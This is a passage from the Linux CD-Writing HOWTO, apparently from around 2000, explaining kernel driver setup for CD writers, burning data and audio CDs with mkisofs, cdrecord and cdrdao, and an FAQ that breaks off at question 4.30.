The table above shows the relation of device file names and the placing of devices on the IDE busses. The device file name representing your CD-Writer has to be passed to the driver in the Linux kernel. Example: hdb=ide-scsi. Such a setting should be added to lilo.conf or chos.conf if the driver is statically compiled into your kernel, which seems to be the most common setup. If you need to pass more than one parameter to the kernel, then seperate them with spaces (like shown in the chos example). The next two listings show example configurations containing more lines than just the relevant append-line. Please note the append- and cmdline-entries are image-specific (ie. don't add them immediatly at the top).

image=/boot/zImage-2.2.14
  label=Linux
  read-only
  append="hdb=ide-scsi"
Listing: Example configuration for lilo (/etc/lilo.conf)

linux "Linux 2.1.14" {
        image=/boot/zImage-2.0.37
        cmdline= root=/dev/hda5 readonly hdb=ide-scsi
}
Listing: Example configuration for chos (/etc/chos.conf)

If the driver for IDE/ATAPI CD-ROMs is loaded as a module, then the above won't make any difference to you, but make sure you include the options-line from the next listing. The last three lines of that listing are generally suggested to further automate the loading of the required modules.

options ide-cd ignore=hdb            # tell the ide-cd module to ignore hdb
alias scd0 sr_mod                    # load sr_mod upon access of scd0
#pre-install ide-scsi modprobe imm    # uncomment for some ZIP drives only
pre-install sg     modprobe ide-scsi # load ide-scsi before sg
pre-install sr_mod modprobe ide-scsi # load ide-scsi before sr_mod
pre-install ide-scsi modprobe ide-cd # load ide-cd   before ide-scsi
Listing: Example configuration for /etc/modules.conf

If your CD-writer is the only CD-ROM attached to your machine, then remember you have to access the CD-ROM in the writer through the device file /dev/scd× where ×=0,..,8. You may want to change the symbolic name cdrom to point to the new device file name. The listing below shows the command to achieve this with the example scd0.

cd /dev && rm cdrom && ln -s scd0 cdrom
Listing: Making cdrom a symbolic name for scd0

If your CD-writer and CD-ROM-drive are two different devices, then don't change the cdrom symlink.

Special notes about SCSI CD-writers

Please make sure that your writer is recognized by the BIOS of your SCSI hostadaptor card. Every SCSI hostadaptor scans the SCSI bus after power on and reports all devices found connected to the bus. The report includes the SCSI ID of the devices and their product label. It makes no sense to proceed unless your CD writer is listed in that report.

If you plan to connect your SCSI device through the parallel port (not to confuse with the IDE drives for the parallel port), you need a special active cable and a special kernel driver. Read http://www.torque.net/parport/parscsi.html to learn more about this option.

Special notes about CD-writers for the parallel port

I have no clue about this, sorry. Please read http://www.torque.net/parport/paride.html or your local file /usr/src/linux/Documentation/paride.txt.

Compiling missing kernel modules (optional)

You don't need to read this section if you hardware is already sucessfully recognized and configured by the previously described configuration steps.

The Linux kernel can be equipped with drivers for various features. You can compile the drivers into the kernel image statically or you can compile them as a module for on-demand loading. The last method is preferred for drivers not essential for bringing your Linux-system into life, because your kernel will be smaller and faster then. However, some drivers are essential for the system to come up and you shouldn't compile them as a module. Example: if your system lives on an IDE hard disk, you must have the driver for IDE hard disks in the kernel -- not as a module.

There are three different types of CD-writers: SCSI, IDE/ATAPI and external writers that work through the parallel port. The table shows how to configure the Linux kernel for those hardware types. The first column of the table is the section of the kernel configuration menu, where you can find the setting. The second column is the description of the feature (taken from the kernel configuration menu, too). The third column gives the name of the resulting module. The columns named SCSI, IDE and PP contain the necessary options for the associated hardware (PP = parallel port).

Sect.  Description                 Module   SCSI  IDE   PP
------------------------------------------------------------
BLOCK  Enhanced IDE/MFM/RLL...                     Y
BLOCK  IDE/ATAPI CDROM             ide-cd          M
BLOCK  SCSI emulation support      ide-scsi        M
BLOCK  Loopback device             loop       M    M     M

PARIDE Parallel port IDE device    paride               Y/M
PARIDE Parallel port ATAPI CD-ROMs                       M
PARIDE Parallel port generic ATAPI                       M
PARIDE (select a low-level driver)                       Y

SCSI   SCSI support                scsi_mod  Y/M  Y/M
SCSI   SCSI CD-ROM support         sr_mod    Y/M  Y/M
SCSI     Enable vendor-specific               Y    Y
SCSI   SCSI generic support        sg        Y/M  Y/M
SCSI   (select a low-level driver)            Y

FS     ISO 9660 CDROM filesystem   iso9660   Y/M  Y/M   Y/M
FS     Microsoft Joliet cdrom...   joliet     Y    Y     Y
Table: driver selection for different writer types

Y stands for yes and means you should put the beast into the kernel. M stands for module and means you should or must compile this feature as a module. Y/M gives you the option to decide between either (order indicates choices with less potential problems). Empty settings don't need to be modified and not changing them increases the chance that the resulting kernel will work for you (if it did before...). Especially in environments where SCSI and ATAPI devices are mixed, you better build most things as modules.

Compiling loopback device is optional. It allows you to test the image before writing it to the media. If you want to be able to read CD-ROMs, you need support for the ISO 9660 filesystem. This driver automatically includes RockRidge Extensions. The Microsoft Joliet CD-ROM extensions have to be explicitly added to the ISO 9660 filesystem. In any case, you need a low-level driver for your hardware. Low-level refers to the driver, which interacts directly with the hardware. For SCSI and the parallel port, there are a lot of low-level drivers available.

Installing the resulting Linux-kernel is beyond the scope of this HOWTO. Please consult the documentation of your Linux-distribution.

Users of RedHat Linux be aware that you have to compile in the features "Ramdisk support" and "Initial ramdisk". Furthermore, you have to generate a new ramdisk with the new modules by issuing a command like "mkintrd --preload ide-cd initrd-2.2.14.img 2.2.14".

2.2 Get the user software for burning CD-Rs

A more detailed survey of tools related to produce CD-ROMs is available from http://www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdb.html.

Command line utilities

One of the following packages are required to generate images of CD-Rs (only required for data CD-ROMs):

ftp://tsx-11.mit.edu/pub/linux/packages/mkisofs/ (mkisofs)

ftp://ftp.ge.ucl.ac.uk/pub/mkhfs (mkhybrid)

To write images to the CD-R, you need one of the following software packages:

ftp://ftp.fokus.gmd.de/pub/unix/cdrecord/ (cdrecord)

http://www.ping.de/sites/daneb/cdrdao.html (cdrdao)

http://www.munich-vision.de/vcd/ (mkvcdfs)

Don't trust the man page of old versions of mkisofs which state you need version 1.5 of cdwrite. Just use cdrecord and you are fine. Please note that newer versions of cdrecord ship with an enhanced version of mkisofs and some extra tools in the subdirectory misc/ (readcd, isosize) not found elsewhere.

Graphical user interfaces (optional)

Front-ends are really front-ends under Linux. That means, you still have to install the command-line utilities, but you access them in a better looking manner.

X-CD-Roast is a program package dedicated to easy CD creation under Linux. It combines command line tools like cdrecord and mkisofs into a nice graphical user interface.

http://www.fh-muenchen.de/home/ze/rz/services/projects/xcdroast/e_overview.html

BurnIT is a JAVA front-end to cdrecord, mkisofs and cdda2wav-0.95 making it a complete package for burning CDs on the Unix platform. It is available from

http://sunsite.auc.dk/BurnIT/

CD-Tux is a character based frontend for the programs mkisofs and cdrecord. "It creates an easy to use enviroment for doing almost anything to a CD in full color through the use of the (in)famous NCURSES Library. And it does all this whith an executable of under 75K."

http://www.datadictator.co.za/cdtux/


CD-Writing HOWTO: Burning CD-Rs

 Next Previous Contents

3. Burning CD-Rs

"If to smoke you turn I shall not cease to fiddle while you burn." (Roman emperor Nero about burning his own classic-CDs, AD64. He misunderstood it completely and burned Rome down.)

Writing CD-ROMs consists of two steps under Linux:

  • packaging the desired data (files, music or both) into files with special formats
  • writing the data from the files to the CD-R with the utility cdrecord

This chapter describes the steps for data and audio CDs in greater detail.

3.1 Writing CD-ROMs (pure data)

Note that collecting the data to put onto a CD usually takes longer than one expects. Consider that missing files cannot be added once the CD is written and fixated. This is also true for CD-RW, which can currently only be rewritten as a whole. Using the multi-session feature is no option for single files, as it consumes much space for a new complete table of contents (TOC). UDF is not ready yet for Linux.

Also keep in mind that a certain amount of the free space of a CD is used for storing the information of the ISO-9660-filesystem (usually a few MB). 620 MB data will always fit on a 650 MB CD-R.

Creating an image of the later CD-ROM

Before any storage medium (e.g. floppy disk, hard disk or CD) can be used, it must get a filesystem (DOS speak: get formatted). The filesystem is responsible for organizing and incorporating the files that should be stored on the medium.

The usual utilities for creating filesystems on hard disk partitions write an empty filesystem onto them, which is then mounted and filled with files by the users as they need it. A writable CD is only writable once so if we wrote an empty filesystem to it, it would get formatted and remain completely empty forever. This is also true for rewritable media as you cannot change arbitrary sectors yet; you must erase their whole content.

So what we need is a tool that creates the filesystem while copying the files to the CD. This tool is called mkisofs. A sample usage looks as follows:

mkisofs  -r   -o cd_image   private_collection/
              `---------'   `-----------------'
                   |               |
          write output to   take directory as input

The option '-r' sets the permissions of all files to be public readable on the CD and enables RockRidge-extensions. You probably want to use this option unless you really know what you're doing (hint: without '-r' the mount point gets the permissions of private_collection!).

mkisofs will try to map all filenames to the 8.3 format used by DOS to ensure the highest possible compatibility. In case of naming conflicts (different files have the same 8.3 name), numbers are used in the filenames and information about the chosen filename is printed via STDERR (usually the screen). Don't panic: Under Linux you will never see these odd 8.3 filenames because Linux makes use of the Rock Ridge extensions which contain the original file information (permissions, filename, etc.).

Remeber do use the Option -J (MS Joliet extensions) or use mkhybrid if you want to generate a more Windows-friendly CD-ROM. For HFS CD-ROMS used on the Macintosh, you better read the man-page of mkisofs' bigger sister mkhybrid for details on various options.

Now you may wonder why the output of mkisofs is not directly sent to the writer device. There are three reasons:

  • mkisofs knows nothing about driving CD-writers.
  • You may want to test the image before burning it.
  • On slow machines it would not be reliable (see section 4.).

There is a method to write a CD-R in one go, which will be described below.

One also could think of creating an extra partition and writing the image to that partition instead to a file. I vote against such a strategy because if you write to the wrong partition due to a typo, you can lose your complete Linux system. Read: that happened to me... Furthermore, it is a waste of disk space because the CD-image is temporary data that can be deleted after writing the CD. However, using raw partitions saves you the time for deleting files of 650 MB size.

Test the CD-image

Linux has the ability to mount files as if they were disk partitions. This feature is useful to check that the directory layout and file access permissions of the CD image matches your wishes. Although media is very cheap today, the writing process is still time consuming, and you may at least want to save your time by doing a quick test.

To mount the file cd_image created above on the directory /cdrom, give the command

mount -t iso9660 -o ro,loop=/dev/loop0 cd_image /cdrom

Now you can inspect the files under /cdrom -- they appear exactly as they were on a real CD. To umount the CD-image, just say umount /cdrom. (Warning: On Linux kernels prior to 2.0.31 the last file on /cdrom may not be fully readable. Please use a more recent kernel like 2.0.36. The option -pad for cdrecord applies to audio CDs only and the option -pad for mkisofs requires a patch, which is as much work to apply than to upgrade to a bug-free Linux kernel.)

Note:

Some ancient versions of mount are not able to deal with loopback devices. If you have such an old version of mount, then upgrade your Linux-system. Several people have already suggested putting information about how to get the newest mount utilities into this HOWTO. I always refuse this. If your Linux distribution ships with an ancient mount, report it as a bug. If your Linux distribution is not easily upgradable, report it as a bug.

If I include all the information that is necessary to work around bugs in badly designed Linux distributions, this HOWTO would be a lot bigger and harder to read.

Write the CD-image to a CD

This section only covers writing data CDs in TAO mode, because it is the most frequently used mode for data. For more information about the differences of TAO and DAO, please see the chapter about audio CD-Rs. If you use DAO mode with the tool cdrdao, then remember to add a dummy audio track at the end of the TOC file (see the README).

Not much more left to do. If you haven't already tried, it's a good time for the command

cdrecord -scanbus

This will tell you to which SCSI device your CD-writer is attached to. All other methods of guessing the information printed so nicely by cdrecord have been removed from the HOWTO.

Before showing you the last command, let me warn you that CD-writers want to be fed with a constant stream of data. So the process of writing the CD image to the CD must not be interrupted or a corrupt CD will result. It's easy to interrupt the data stream by deleting a very large file. Example: if you delete an old CD-image of 650 Mbytes size, the kernel must update information about 650,000 blocks on the hard disk (assuming you have a block size of 1 Kbyte for your filesystem). That takes some time and is very likely to slow down disk activity long enough for the data stream to pause for a few seconds. However, reading mail, browsing the web, or even compiling a kernel generally will not affect the writing process on modern machines.

Please note that no writer can re-position its laser and continue at the original spot on the CD when it gets disturbed. Therefore any strong vibrations or other mechanical shocks will probably destroy the CD you are writing.

When you are mentally prepared, dress up in a black robe, multiply the SCSI-id of the CD-writer with its SCSI-revision and light as many candles, speak two verses of the ASR-FAQ (newsgroup alt.sysadmin.recovery) and finally type:

shell> SCSI_BUS=0   # taken from listing 1 "scsibus0:"
shell> SCSI_ID=6    # taken from listing 1 "TOSHIBA XM-3401"
shell> SCSI_LUN=0
shell> cdrecord -v speed=2 dev=$SCSI_BUS,$SCSI_ID,$SCSI_LUN \
                   -data  cd_image

# same as above, but shorter:
shell> cdrecord -v speed=2 dev=0,6,0  -data  cd_image

For better readability, the coordinates of the writer are stored in three environment variables with natural names: SCSI_BUS, SCSI_ID, SCSI_LUN.

If you use cdrecord to overwrite a CD-RW, you must add the option "blank=..." to erase the old content. Please read the man page to learn more about the various methods to blank the CD-RW.

In times where everybody except me owns a 400 Mhz machine, people feed the output of mkisofs directly into cdrecord:

shell> IMG_SIZE=`mkisofs -R -q -print-size private_collection/  2>&1 \
| sed -e "s/.* = //"`
shell> echo $IMG_SIZE
shell> [ "0$IMG_SIZE" -ne 0 ] && mkisofs -r  private_collection/  \
|cdrecord  speed=2  dev=0,6,0
            tsize=${IMG_SIZE}s  -data  -
#       don't forget the s --^         ^-- read data from STDIN

The first command is an empty run to determine the size of the image (you need the mkisofs from the cdrecord distribution for this to work). You need to specify all parameters you will use on the final run (e.g. -J or -hfs). Maybe your writer does not need to know the size of the image to be written, so you can leave this dry run out. The printed size must be passed as a tsize-parameter to cdrecord (it is stored in the environment variable IMG_SIZE). The second command is a sequence of mkisofs and cdrecord, coupled via a pipe.

The

3.2 Writing audio CDs

Writing audio CDs is very similar to the steps described above for data CDs. You can choose between two techniques: DAO or TAO. TAO (track at once) is less suitable for music, because you will hear clicks between the individual tracks. It is described first anyways, because it is a little bit easier to deal with and DAO is not available for all drives yet.

The main difference compared to writing data CD-Rs is the format of the images. ISO-9660 (or whatever filesystem you prefer) would not be suitable, because no audio CD player is able to deal with filesystems. Instead the audio data must be writen as "16 bit stereo samples in PCM coding at 44100 samples/second (44.1 kHz)".

One utility to convert your sound files into the required format is sox. Its usage is straightforward:

shell> sox  killing-my-software.wav  killing-my-software.cdr

This command would convert the song killing-my-software from the WAV-format into the CDR audio-format. See the man page for sox for more details about formats and filename-extensions sox recognizes. Because the output of the manual conversion takes up much disk space, it was made a built-in feature of cdrecord for the sound formats WAV and AU. So as long as your sound files have the extensions .wav or .au (and the sample rate "stereo, 16 bit, 44.1 kHz"), you can use them as audio tracks without manual conversion into the CDR format. However, cdrecord requires the size of the sound data to be a integer multiple of 2352 and to be greater than 705,600 bytes, which is not fullfilled for some WAV files. For such files the usage of sox is needed to pad the audio data up to 2352 bytes.

Writing audio CDs (TAO)

An audio CD consists of audio tracks, which are organized as separate images when using TAO mode. So if you want to have ten tracks on your CD, you have to make ten images.

Cdrecord writes CD images as audio tracks if the option -audio is specified. The other options are identical to those used for writing data-CDs (unless you have very special requirements). These three examples all do the same thing, but read the tracks from different sound file formats:

shell> cdrecord -v speed=2 dev=0,6,0  -audio  track1.cdr track2.cdr...
shell> cdrecord -v speed=2 dev=0,6,0  -audio  track1.wav track2.wav...
shell> cdrecord -v speed=2 dev=0,6,0  -audio  track1.au  track2.au...

By doing this, you will produce an audio CD which has a 2 seconds of pause between audio tracks. One notable format not directly readable by cdrecord is MPEG Layer 3. To convert files in this format to the CDR-format, you can use the command "mpg123 --cdr - track1.mp3 > track1.cdr". The option --cdr ensures the track is encoded in the required format (see above). Older versions of mpg123 require -s instead of the plain - to write to stdout. The other direction (converting from WAV to MPEG) can be done with LAME for WAV-files (extract the track with cdda2wav from the audio CD and encode it into MP3 with the help of LAME).

To create a CD-R from a whole bunch of MP3-files, you can use the following command sequence:

for I in *.mp3
do
    mpg123 --cdr - "$I" | cdrecord -audio -pad -nofix -
done
cdrecord -fix

Depending on the speed of your machine, you may want to slow down writing to "speed=1" (cdrecord option). If you use "speed=4", your machine must be able to play the MP3-file at quadruple speed. mpg123 consumes much CPU-time! If you are in doubt, try an empty run with -dummy (keeps the laser switched off).

DAO

If you want to get rid of the pauses between the audio tracks, you have to use disk-at-once (DAO) recording versus the (individual) track-at-once (TAO) recording described above. Support for DAO is currently most advanced in cdrdao. Please see its homepage for details.

If you master the CD in DAO mode, then you use a monolithic image (sound file) and control track information with a configuration file.

CD_DA
TRACK AUDIO
FILE "live.wav" 0 5:0:0
INDEX 3:0:0
TRACK AUDIO
FILE "live.wav" 5:0:0 5:0:0
TRACK AUDIO
FILE "live.wav" 10:0:0 5:0:0
INDEX 2:0:0

3.3 Mixed mode CD-ROMs

There is not much to say about this topic. Just indicate the type of the (subse quent) images with the options -data and -audio. Example:

cdrecord  -v dev=0,6,0  -data  cd_image  -audio  track*.cdr


CD-Writing HOWTO: Dear Winfried,...

 Next Previous Contents

4. Dear Winfried,...

This is the section usually known as "frequently asked questions with answers". If you have a problem with your partner, kids or dog, just send it in, as long as it is related to writing CD-Rs or is otherwise entertaining.

4.1 How sensitive is the burning process?

Test it. Use the option -dummy to do an empty run of cdrecord. Do everything you would do otherwise and watch if the burning process survives.

If you feed cdrecord directly from mkisofs, then disk intensive processes such as updating the locate database lower the maximum flow rate and may corrupt the CD. You better check such processes are not started via cron, at or anacron while you burn CD-Rs on older machines.

4.2 Has file fragmentation a bad impact on the throughput?

Fragmentation of files is usually so low that its impact isn't noticed. However, you can easily construct pathological cases of fragmentation, which lower the throughput of your hard disks under 100 kbytes/second. So don't do that. :-) Yes, files on a hard disk get fragmented over the years. The faster, the fuller the filesystem is. Always leave 10% or 20% free space, and you should run fine with respect to writing CD-Rs.

If you're uncertain then look at the messages printed while booting. The percentage of fragmentation is reported while checking the filesystems. You can check for this value with the very dangerous command

shell> e2fsck -n  /dev/sda5        # '-n' is important!
[stuff deleted -- ignore any errors]
/dev/sda5: 73/12288 files (12.3% non-contiguous)

In this example the fragmentation seems to be very high -- but there are only 73 very small files on the filesystem. So the value is not alarming.

There is an experimental utility called e2defrag to defragment extended-2 filesystems. The current version does not work reliable enough to use it even for private environments. If you really want to defragment your filesystem, make a backup copy (better: two copies), practice restoring the data, then create a new filesystem (that will destroy the old) and restore the data. This sketch is currently the safest technique.

4.3 Is it possible to store the CD-image on an UMSDOS-filesystem?

Yes. The only filesystem that isn't reliable and fast enough for writing CD-ROMs from is the network filesystem (NFS). I used UMSDOS myself to share the disk-space between Linux and DOS/Win on a PC (486/66) dedicated for writing CD-ROMs.

4.4 Isn't there some way to get around the ISO-9660 limitations?

Yes. You can put any filesystem you like on the CD. But other operating systems than Linux won't be able to deal with this CD. Here goes the recipe:

  • Create an empty file of 650MB size.
    dd if=/dev/zero of="empty_file" bs=1024k count=650
  • Create an extended-2 filesystem on this file
    shell> /sbin/mke2fs  -b 2048  empty_file
empty_file is not a block special device.
Proceed anyway? (y,n) y
  • Mount this empty file through the loopback devices (you need a reasonable new mount for this; read above).
    mount -t ext2 -o loop=/dev/loop1 empty_file /mnt
  • Copy files to /mnt and umount it afterwards.
  • Use cdrecord on empty_file (which is no longer empty) as if it were an ISO-9660-image.

If you want to make an entry in /etc/fstab for such a CD, then disable the checking of the device file on system startup. For example:

/dev/cdrom  /cdrom  ext2  defaults,ro  0 0

The first 0 means "don't include in dumps" (backup), the second (=important) one means "don't check for errors on startup" (fsck would fail to check the CD for errors).

4.5 How to read the tracks from audio CDs?

There are several software packages available. The newest one is "cdpranoia" and can be downloaded from

http://www.xiph.org/paranoia/

Or you want to try the combination of "cdda2wav" and "sox", available from sunsite and its mirrors:

ftp://sunsite.unc.edu/pub/Linux/apps/sound/cdrom/cdda2wav0.71.src.tar.gz

ftp://sunsite.unc.edu/pub/Linux/apps/sound/convert/sox-11gamma-cb3.tar.gz

cdda2wav enables you to get a specific interval (or a whole track) from your audio CD and converts it into a .wav-file. sox converts the WAV files back into the (audio CD) cdda-format so it can be written to the CD-R using cdrecord. You don't necessarily need sox if you use a recent version of cdrecord, because it has built-in support for .au and .wav files.

4.6 How to probe for SCSI devices after boot?

The file drivers/scsi/scsi.c contains the information

/*
 * Usage: echo "scsi add-single-device 0 1 2 3" >/proc/scsi/scsi
 * with  "0 1 2 3" replaced by your "Host Channel Id Lun".
 * Consider this feature BETA.
 *     CAUTION: This is not for hot plugging your peripherals. As
 *     SCSI was not designed for this you could damage your
 *     hardware !
 * However perhaps it is legal to switch on an
 * already connected device. It is perhaps not
 * guaranteed this device doesn't corrupt an ongoing data transfer.
 */

Please note that this should only be used if your add SCSI devices to the end of the chain. Inserting new SCSI devices into an existing chain disturbs the naming of devices (directory /dev) and may destroy the complete content of your hard disk.

Some kernel versions do not like re-scanning the SCSI bus at all and your system may freeze solid when trying out the above. You have been warned.

4.7 Is it possible to make a 1:1 copy of a data CD?

Yes. But you should be aware of the fact that any errors while reading the original (due to dust or scratches) will result in a defective copy. Please note that both methods will fail on audio CDs! You have to use cdrdao or cdda2wav on audio CDs.

First case: you have a CD-writer and a separate CD-ROM drive. By issuing the command

cdrecord -v dev=0,6,0 speed=2 -isosize /dev/scd0

you read the data stream from the CD-ROM drive attached as /dev/scd0 and write it directly to the CD-writer.

Second case: you don't have a separate CD-ROM drive. In this case you have to use the CD-writer to read out the CD-ROM first:

dd if=/dev/scd0 of=cdimage

This command reads the content of the CD-ROM from the device /dev/scd0 and writes it into the file "cdimage". The contents of this file are equivalent to what mkisofs produces, so you can proceed as described earlier in this document (which is to take the file cdimage as input for cdrecord). If you want to see a progress-meter and other fancy stuff, then you can also use Jörg Schillings sdd.

In case you run into errors, then install a recent version of cdrecord, which ships a tool called "readcd" (found under misc/). It gives you the same result as dd, but reads sectors on the CD-ROM several times in case of errors.

4.8 Can Linux read Joliet CD-ROMs? (obsolete answer)

Yes. Newer Kernels (2.0.36 and the upcoming 2.2) have built-in support for the joliet format. Remember you have to use both options in your /etc/fstab: the keywords iso9660 and joliet (later is really an extension). For more details, see http://www-plateau.cs.berkeley.edu/people/chaffee/joliet.html.

4.9 How do I read/mount CD-ROMs with the CD-writer?

Just as you do with regular CD-ROM drives. No tricks at all. Note that you have to use the scd devices (SCSI CD-ROM) to mount CD-ROMs for reading, even if you have an ATAPI CD-ROM (remember you configured your ATAPI devices to act like SCSI). Example entry for /etc/fstab:

/dev/scd0  /cdrom  iso9660  ro,user,noauto  0  0

4.10 How to put even more data on the CD-R?

Use bzip2 instead of any other compressor like gzip or pkzip. It will save you up to 30% of disk-space for larger (>100kb) files. You can download it from

http://www.muraroa.demon.co.uk/

Instead of writing a true audio CD, you can optionally convert your WAV audio files into MP3 audio files and store them on a ISO-9660 filesystem as regular files. Usually MPEG III give you a compression of 1:10. Of course, most CD-players are not able to read files... this is the drawback. On the other hand, why not running the music for your next party from hard disk? 18 Gbytes are enough for 3000-4000 titles. :-)

A software MPEG III-encoder is available from

http://www.sulaco.org/mp3/

A MPEG III-player is available from

http://www.mpg123.org/

For recorded speech, you may want to try to reduce its size using shorten or "GSM lossy speech compression":

ftp://svr-ftp.eng.cam.ac.uk/pub/comp.speech/

http://kbs.cs.tu-berlin.de/~jutta/toast.html

4.11 How to make bootable CD-ROMs?

You must have an 1.44 MB bootable floppy-disk. Create an exact image of this floppy-disk by issuing the command

dd if=/dev/fd0 of=boot.img bs=18k

Place this floppy image into the directory holding the collection of your files (or into a subdirectory of it, just as you like). Tell mkisofs about this file with the option '-b' and also use '-c'. For details read the file README.eltorito in the mkisofs-distribution.

An interesting application for a custom bootable CD is as a virus safe DOS- or Windows-system. It saves you the money for the hard disks (if you have a network and use samba to put the user-data on a file server). The German computer magazine c't has a article about this issue in the issue 11/99, page 206 ( http://www.heise.de/).

Some details about the bootable RedHat CD-ROM is available from http://members.bellatlantic.net/~smithrod/rhjol-technical.html.

4.12 How to make CD-ROMs writable like a hard disk?

There is an overlay filesystem available for Linux, which is mounted over the CD-ROM and intercepts all writing operations. New and modified files are stored elsewhere, but for the user it looks like the CD-ROM is modified. For more information, see http://home.att.net/~artnaseef/ovlfs/ovlfs.html.

If that is not enough for your needs: wait for the UDF-filesystem to be supported by Linux or help developing it (see http://trylinux.com/projects/udf/. At the moment only reading of CD-media is supported due to a limitation in the CD-ROM drivers of the Linux kernel.

4.13 Is it possible to use several writers at once?

Yes. It is reported to work with at least 3 writers at full speed (6x) on a PC with 233 Mhz and a single SCSI bus running kernel 2.2.12. You need either a recent version of the Linux kernel (2.2.12 or higher).

4.14 What about Solaris, *BSD, AIX, HP-UX, etc.? Is my variant of Unix supported?

Only chapter 2 is Linux-specific. You can apply chapter 3 and 4 even if you run another family of operating systems than Linux. Please see the files README.NetBSD, README.aix, README.hpux, README.next, README.solaris, README.sunos, README.vms or README.xxxBSD from the cdrecord-distribution.

Probably yes. Compile cdrecord for your platform and issue the command "cdrecord -scanbus". Read the README.* file for your Unix distributed with the sources of cdrecord. However, not all variants of Unix can read the RockRidge, Joliet or HFS extensions on your newly written CD-R.

4.15 Where to store the local configuration permanently?

You have two options. Either you use the built-in configuration file for cdrecord, or you use a shell wrapper like the one shown below. This shell script reads a configuration file, which lists the options and parameters for cdrecord line by line. The names are exactly the same as on the command line, but without the leading dash. Comments are allowed. Example:

# be verbose
v
# set the speed of the writer
speed=2
# the device-coordinates in the form BUS,ID,LUN
dev=0,6,0

The configuration files for the wrapper belong into /etc/cdrecord/ and must be referenced on the command line. Example: if you want to refer to the configuration /etc/cdrecord/mywriter.cfg, then you can issue the command "cdrecord.sh mywriter.cfg -audio track1...". Everything after mywrite.cfg is passed to cdrecord.

#! /bin/bash

CFGDIR="/etc/cdrecord"

CFG="$1"
shift
ARGS_LEFT="$@"

if [ ! -f "$CFGDIR/$CFG" ]
then
    echo "Configuration file $CFGDIR/$CFG not found. Exiting."
    exit 1
fi

while read LINE
do
    case $LINE in
        \#*|"") continue;;
    esac
    old_IFS="$IFS"
    IFS="$IFS="
    set -- $LINE
    IFS="$old_IFS"
    O_NAME="$1"
    O_VALUE=""
    while shift
    do
        case $1 in
            "") continue;;
        esac
        O_VALUE="$1"
    done

    if [ -z "$O_VALUE" ]
    then
        O_CDRECORD="$O_CDRECORD -$O_NAME "
        continue
    fi
    O_CDRECORD="$O_CDRECORD $O_NAME=$O_VALUE "

done < "$CFGDIR/$CFG"

set -x    #DEBUG
exec cdrecord $O_CDRECORD $ARGS_LEFT
echo "Execution of cdrecord failed."

4.16 How can the CD-info be retrieved?

Somewhere behind the first 32 k on the CD, a block with information about the CD is located. You can extract the information with the following shell script:

#! /bin/bash

RD=/dev/cdrom
for i in 32768,7   32776,32 32808,32 32958,128 33086,128 33214,128 \
         33342,128 33470,32 33581,16 33598,16  33615,16  33632,16
do
    old_IFS="$IFS"
    IFS=","
    set -- $i
    IFS="$old_IFS"
    OFFSET=$1
    LENGTH=$2
    echo "*`dd if=$RD bs=1 skip=$OFFSET count=$LENGTH   2> /dev/null`#"
done

4.17 What about re-writing

When overwriting CD-RW media, specify the parameter blank=fast to cdrecord. That's all. See the man page of cdrecord for details about this parameter.

4.18 How to create a multi-session CD?

First of all, the image for a multi-session CD must be formatted using the ISO-9660 filesystem using RockRidge-extensions. And you must use the option -multi for cdrecord as long as you want to add further sessions. So at least for the first session, you must specify the option -multi.

Some CD-writers have no support for CD-ROM XA mode 2 or for session-at-once (SAO), so you need to specify the switch -data for cdrecord on the command line.

The images for the second and subsequent sessions are a little bit more complicated to generate. Mkisofs must know where the free space on the CD-R begins. That information can be gathered by using the option -msinfo on cdrecord (see example below).

shell> NEXT_TRACK=`cdrecord -msinfo dev=0,6,0`
shell> echo $NEXT_TRACK
shell> mkisofs -R -o cd_image2 -C $NEXT_TRACK -M /dev/scd5
         private_collection/ \

For more information, please read the file README.multi, which is distributed with cdrecord.

4.19 Should I use the SCSI adapter shipped with the writer?

Reported via email: Most CD-writer docs say to use a separate SCSI bus if going from a CD-ROM to a CD-writer and I have seen this myself in the following scenario:

Adaptec 2940UW SCSI card, a 24x SCSI CD-ROM and a 4x4 SCSI CD-writer. When I got the CD-writer, it came with its own ISA SCSI card which could only handle one device. I figured I'd toss this and use my better adaptec card for all the stuff. I noticed it was quite prone to buffer under-runs when recording at the 4x speed, but as soon as I tried hooking up the ISA SCSI card, it had no problems. I know 2 other people (both using adaptec 2940 cards), who have experienced exactely the same symptoms, usually when writing from a CD-ROM to a CD-recorder. Though I've never experienced the problem when going from a hard drive to a CD-writer on the same bus.

4.20 How to burn over the network?

Usally a file transfer with FTP is fast enough to feed a CD-recorder at quadruple (4x) speed even over a 10 Mbit ethernet. You can couple the ftp-client and cdrecord via a fifo. First create a fifo named cdimage:

mkfifo cdimage
ftp other.host.org
get cdimg cdimage

Then treat cdimage like a regular file, i.e. issue the following command:

cdrecord dev=0,1,0 speed=2 cdimage

Your ftp-client will notice when cdrecord wants to read from the file and will start transfering data from the ftp-host.

4.21 I hear a crack or click sound at the end of the each track.

You have to use disk-at-once mode (DAO) to get rid of the cracks.

4.22 How can this be set up so that a user can burn CDs instead of always being root?

You can add the setuid-bit to the cdrecord-executable. However, this might be a security risk. Just setting the permissions on the device files does not help as cdrecord issues privileged commands via the SCSI generic interfaces.

which cdrecord
chown root.root /usr/bin/cdrecord
chmod 4111 /usr/bin/cdrecord

4.23 Where do I get the "Yellow Book" and "Orange Book" standards?

You get the printed specifications from Philips and they are expensive.

4.24 I've been searching for information on burning Video-CD under Linux.

Here you can find utilities for creation of MPEG videos and Video-CDs: http://www.mainconcept.de/

http://www.johanni.de/munich-vision/vcd/

Political correct people mention the Berkeley-tools and other YUV-strategies. Their usage is complicated, takes much time and harddisk-space and gives you no audio track. I recommend to use conceptually higher level applications like the ones mentioned above.

4.25 Which is easier to set up, IDE or SCSI?

SCSI CD-writers are slightly easier to set up with regard to CD-writing under Linux. And they are reported to have better error recovery. If that outweights the higher price cannot be answered generally.

4.26 How can I overburn a CD using {cdrecord,cdrdao}?

Overburning a CD-R is nothing special. It is at your own risk that the data fits on the CD-ROM, but thats all. There are no 650 Mbytes-limits in the software under Linux.

4.27 What will cdrecord do when it stops getting input from the pipe?

It will finish writing. So you can just couple your favourite backup tool with cdrecord using a pipe, like in "bru -size=640m -f - | cdrecord dev=0,1,0 speed=2 -". You have to take special care within the backup utility if the backup spans multiple CD-Rs.

4.28 Is there an equivalent to ignore=hdX for the ide-scsi emulation?

I know of no way, but anybody is welcome to add this feature to the Linux kernel sources.

4.29 How many times can you re-use CD-RW before they become faulty?

Good question.

4.30 Which format to choose for a platform independant CD-ROM?

